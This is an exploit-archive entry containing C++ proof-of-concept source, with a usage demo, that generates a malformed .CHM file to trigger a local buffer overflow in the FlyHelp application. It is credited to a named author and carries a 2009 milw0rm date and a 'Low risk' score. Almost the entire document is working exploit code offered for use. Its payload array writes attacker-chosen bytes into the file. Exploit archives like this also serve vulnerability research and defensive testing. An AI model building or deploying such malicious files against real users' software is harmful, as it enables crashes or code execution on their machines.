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FlyHelp - .CHM Local Buffer Overflow (PoC)
/*
<<Name >>flyhelp.cpp
FlyHelp .CHM File Buffer Overflo POC
<<Credits >>fl0 fl0w
<<Website >>http://www.sploitz.10001mb.com
*/
/*
<<DEMO >>
C:\Documents and Settings\Stefan\Desktop\New Folder1>flyhelp.exe
C:\Documents and Settings\Stefan\Desktop\New Folder1>flyhelp.exe -file test
***************************************************************************
FlyHelp .CHM File Buffer Overflo POC
Usage is flyhelp.exe -file filename
Credits fl0 fl0w
***************************************************************************
File build !
*/
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <assert.h>
#include <windows.h>
#define SIZE 100000
char rawData[1471] =
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} ;
class EXPLOIT {
public:
int check (char *, char *);
void Usage (char *);
};
static int Poz = 1;
static int Neg = 0;
int i;
char Name [SIZE];
char NeWbuff [SIZE];
int main (int argc, char *argv [])
{
EXPLOIT VIDEO;
VIDEO.Usage(argv [0]);
if(argc < 2) {
VIDEO.Usage(argv [0]);
exit(0);
}
if(VIDEO.check(argv [1], "-file") == Neg) {
fprintf(stdout , " Incorect input ");
printf(" \t..Usage is %s -file filename.. \n", Name);
exit(0);
}
FILE *f;
strcpy(Name, argv [2]);
strcat(Name, " .chm ");
f = fopen (Name, "w");
assert( f != NULL);
strncpy(NeWbuff , rawData , sizeof(rawData));
fputs("FILE \"", f);
fprintf( f, " %s ", NeWbuff);
fprintf( stdout , "File build ! ");
exit(0);
getchar();
return 0;
}
int EXPLOIT::check(char *Arg_, char *_Arg)
{
if(strcmp(Arg_, _Arg) == 0)
return Poz;
return Neg;
}
void EXPLOIT::Usage(char *Name)
{
system("cls");
printf("***************************************************************************\n");
printf("FlyHelp .CHM File Buffer Overflo POC\n");
printf(" \tUsage is %s -file filename\n", Name);
fprintf(stdout , "Credits fl0 fl0w\n");
printf("***************************************************************************\n");
}
// milw0rm.com [2009-07-21]Data
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21 Jul 2009 00:00Current
0.7Low risk
Vulners AI Score0.7